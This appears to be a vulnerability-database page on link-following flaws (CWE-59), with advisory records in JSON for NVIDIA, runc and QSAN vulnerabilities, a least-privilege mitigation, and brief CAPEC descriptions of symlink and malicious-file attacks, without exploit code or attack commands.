Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22NVIDIA Windows GPU Display driver contains a vulnerability in the 3D vision component in which the stereo service software, when opening a file, does not check for hard links. This behavior may lead to code execution, denial of service or escalation of privileges.
{
"affected": [],
"aliases": [
"CVE-2019-5665"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-27T23:29:00Z",
"severity": "HIGH"
},
"details": "NVIDIA Windows GPU Display driver contains a vulnerability in the 3D vision component in which the stereo service software, when opening a file, does not check for hard links. This behavior may lead to code execution, denial of service or escalation of privileges.",
"id": "GHSA-g2cq-gp92-98c4",
"modified": "2022-05-13T01:22:32Z",
"published": "2022-05-13T01:22:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5665"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/4772"
},
{
"type": "WEB",
"url": "http://support.lenovo.com/us/en/solutions/LEN-26250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2J6-57V7-GM8C
Vulnerability from github – Published: 2023-03-30 20:20 – Updated: 2024-12-06 15:31Impact
It was found that AppArmor, and potentially SELinux, can be bypassed when /proc inside the container is symlinked with a specific mount configuration.
Patches
Fixed in runc v1.1.5, by prohibiting symlinked /proc: https://github.com/opencontainers/runc/pull/3785
This PR fixes CVE-2023-27561 as well.
Workarounds
Avoid using an untrusted container image.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/opencontainers/runc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28642"
],
"database_specific": {
"cwe_ids": [
"CWE-281",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-30T20:20:23Z",
"nvd_published_at": "2023-03-29T19:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIt was found that AppArmor, and potentially SELinux, can be bypassed when `/proc` inside the container is symlinked with a specific mount configuration.\n\n### Patches\nFixed in runc v1.1.5, by prohibiting symlinked `/proc`: https://github.com/opencontainers/runc/pull/3785\n\nThis PR fixes CVE-2023-27561 as well.\n\n### Workarounds\nAvoid using an untrusted container image.\n\n",
"id": "GHSA-g2j6-57v7-gm8c",
"modified": "2024-12-06T15:31:17Z",
"published": "2023-03-30T20:20:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-g2j6-57v7-gm8c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28642"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/pull/3785"
},
{
"type": "PACKAGE",
"url": "https://github.com/opencontainers/runc"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241206-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "runc AppArmor bypass with symlinked /proc"
}
GHSA-G2WF-V8Q9-85JJ
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-08-06 00:00Absolute Path Traversal vulnerability in FileviewDoc in QSAN Storage Manager allows remote authenticated attackers access arbitrary files by injecting the Symbolic Link following the Url path parameter.
{
"affected": [],
"aliases": [
"CVE-2021-32509"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-07T14:15:00Z",
"severity": "MODERATE"
},
"details": "Absolute Path Traversal vulnerability in FileviewDoc in QSAN Storage Manager allows remote authenticated attackers access arbitrary files by injecting the Symbolic Link following the Url path parameter.",
"id": "GHSA-g2wf-v8q9-85jj",
"modified": "2022-08-06T00:00:52Z",
"published": "2022-05-24T19:07:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32509"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-4865-0c967-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.